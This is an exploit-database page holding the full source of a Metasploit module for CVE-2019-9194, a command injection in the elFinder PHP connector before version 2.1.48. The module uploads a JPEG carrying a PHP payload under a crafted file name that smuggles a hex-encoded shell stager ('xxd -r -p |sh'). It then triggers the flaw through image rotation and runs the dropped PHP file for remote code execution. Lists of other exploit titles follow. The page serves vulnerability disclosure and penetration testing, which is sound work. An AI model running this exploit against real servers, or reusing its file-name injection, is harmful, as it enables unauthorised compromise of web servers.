Menu

"elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)"

Author

Metasploit

Platform

php

Release date

2019-03-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'elFinder PHP Connector exiftran Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in elFinder
        versions prior to 2.1.48.

        The PHP connector component allows unauthenticated users to upload
        files and perform file modification operations, such as resizing and
        rotation of an image. The file name of uploaded files is not validated,
        allowing shell metacharacters.

        When performing image operations on JPEG files, the filename is passed
        to the `exiftran` utility without appropriate sanitization, causing
        shell commands in the file name to be executed, resulting in remote
        command injection as the web server user.

        The PHP connector is not enabled by default.

        The system must have `exiftran` installed and in `$PATH`.

        This module has been tested successfully on elFinder versions 2.1.47,
        2.1.20 and 2.1.16 on Ubuntu.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Thomas Chauchefoin', # Discovery
          'q3rv0',              # Exploit
          'bcoles'              # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2019-9194'],
          ['EDB', '46481'],
          ['URL', 'https://github.com/Studio-42/elFinder/releases/tag/2.1.48'],
          ['URL', 'https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/']
        ],
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        => [['Auto', {}]],
      'Privileged'     => false,
      'DisclosureDate' => '2019-02-26',
      'DefaultTarget'  => 0))

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
    ]
  end

  #
  # Check if /php/connector.minimal.php exists and is executable
  #
  def check
    uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
    res = send_request_cgi('uri' => uri)

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      vprint_status "#{uri} does not exist"
      return CheckCode::Safe
    end

    if res.body.include? '<?php'
      vprint_status 'PHP is not enabled'
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  #
  # Upload PHP payload
  #
  def upload(fname)
    # Small JPEG file from:
    # https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
    jpeg = %w[
      FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
      02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
      06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
      0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
      12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
      01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
      01 01 00 00 3F 00 D2 CF 20 FF D9
    ]
    jpeg = [jpeg.join].pack('H*')
    jpeg << rand_text_alphanumeric(50..100)
    jpeg << "<?php #{payload.encoded} ?>"
    jpeg << rand_text_alphanumeric(50..100)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(jpeg, 'image/jpeg', nil, %(form-data; name="upload[]"; filename="#{fname}"))
    post_data = data.to_s

    print_status("Uploading payload '#{fname}' (#{post_data.length} bytes)")

    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    )

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    unless res.body.include?('"added"')
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    if res.body.include?('"error"') || res.body.include?('"warning"')
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    json_res = JSON.parse(res.body) rescue nil

    if json_res.nil? || json_res['added'].empty?
      fail_with Failure::UnexpectedReply, "Upload failed: #{res.body}"
    end

    json_res['added'].first['hash'] || ''
  end

  #
  # Trigger the command injection via image rotation functionality
  # Rotates image by 180 degrees to trigger `exiftran` code path
  #
  def trigger(hash)
    print_status 'Triggering vulnerability via image rotation ...'

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'vars_get' => {
        'target' => hash,
        'degree' => '180',
        'mode'   => 'rotate',
        'cmd'    => 'resize'
      }
    }, 5)

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    if res.body.include?('"error"') || res.body.include?('"warning"')
      fail_with Failure::UnexpectedReply, "Image rotate failed: #{res.body}"
    end
  end

  #
  # Delete uploaded file
  #
  def delete_file(hash)
    print_status 'Removing uploaded file ...'

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'php', 'connector.minimal.php'),
      'vars_get' => {
        'cmd' => 'rm',
        'targets[]' => hash
      }
    }, 15)

    unless res
      print_status 'Connection failed'
      return
    end

    if res.body.include?('errFileNotFound')
      print_error "Could not delete uploaded file. Unexpected reply: #{res.body}"
      return
    end

    print_good 'Deleted uploaded file'
  end

  #
  # Execute payload
  #
  def execute_payload(php_fname)
    path = normalize_uri(target_uri.path, 'php', php_fname)

    print_status "Executing payload (#{path}) ..."

    res = send_request_cgi({
      'uri' => path
    }, 15)

    unless res
      print_status 'No reply'
      return
    end

    unless res.code == 200
      fail_with Failure::UnexpectedReply, "Executing payload failed (HTTP #{res.code})"
    end
  end

  #
  # Remove uploaded file
  #
  def cleanup
    delete_file @hash unless @hash.nil?
  ensure
    super
  end

  #
  # upload && execute
  #
  def exploit
    unless check == CheckCode::Detected
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    fname = rand_text_alphanumeric(6..10)
    php_fname = ".#{rand_text_alphanumeric(6..10)}.php"

    # Max file name length is ~250 characters
    # and characters such as `/` are forbidden.
    # Hex encoded stager copies the uploaded file from the `files` directory
    # to the working directory (`php`) and changes the extension to `.php`
    # The stager is decoded with xxd when the vuln is triggered.
    stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"

    # Upload our payload jpg file with encoded stager in the filename
    jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"
    @hash = upload jpg_fname

    if @hash.to_s == ''
      fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'
    end

    trigger @hash

    register_file_for_cleanup php_fname

    execute_payload php_fname
  end
end
Release Date Title Type Platform Author
2019-08-16 "Integria IMS 5.0.86 - Arbitrary File Upload" webapps php Greg.Priest
2019-08-16 "Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-16 "EyesOfNetwork 5.1 - Authenticated Remote Command Execution" webapps php "Nassim Asrir"
2019-08-14 "WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-14 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection" webapps php qw3rTyTy
2019-08-14 "SugarCRM Enterprise 9.0.0 - Cross-Site Scripting" webapps php "Ilca Lucian Florin"
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell" webapps php xerubus
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download" webapps php xerubus
2019-08-14 "Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-12 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Formula Injection" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting via File Upload" webapps php "Aishwarya Iyer"
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting" webapps php Greg.Priest
2019-08-12 "BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting" webapps php "Angelo Ruwantha"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection" webapps php qw3rTyTy
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download" webapps php qw3rTyTy
2019-08-08 "Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)" webapps php "Mr Winst0n"
2019-08-08 "Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting" webapps php Greg.Priest
2019-08-08 "Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago"
2019-08-02 "1CRM On-Premise Software 8.5.7 - Persistent Cross-Site Scripting" webapps php "Kusol Watchara-Apanukorn"
2019-08-02 "Rest - Cafe and Restaurant Website CMS - 'slug' SQL Injection" webapps php n1x_
2019-08-02 "Sar2HTML 3.2.1 - Remote Command Execution" webapps php "Cemal Cihad ÇİFTÇİ"
2019-08-01 "WebIncorp ERP - SQL injection" webapps php n1x_
Release Date Title Type Platform Author
2019-08-05 "Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)" remote windows Metasploit
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2019-07-29 "WP Database Backup < 5.2 - Remote Code Execution (Metasploit)" remote php Metasploit
2019-07-29 "Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)" remote unix Metasploit
2019-07-17 "Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-16 "PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)" remote linux Metasploit
2019-07-16 "Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-03 "Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)" remote windows Metasploit
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-05 "IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2019-05-29 "Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)" remote java Metasploit
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)" remote windows_x86 Metasploit
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-04-30 "Pimcore < 5.71 - Unserialize RCE (Metasploit)" remote php Metasploit
2019-04-30 "AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit)" remote windows Metasploit
2019-04-25 "RARLAB WinRAR 5.61 - ACE Format Input Validation Remote Code Execution (Metasploit)" local windows Metasploit
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46539/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46539/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46539/40984/elfinder-php-connector-2148-exiftran-command-injection-metasploit/download/", "exploit_id": "46539", "exploit_description": "\"elFinder PHP Connector < 2.1.48 - exiftran Command Injection (Metasploit)\"", "exploit_date": "2019-03-13", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse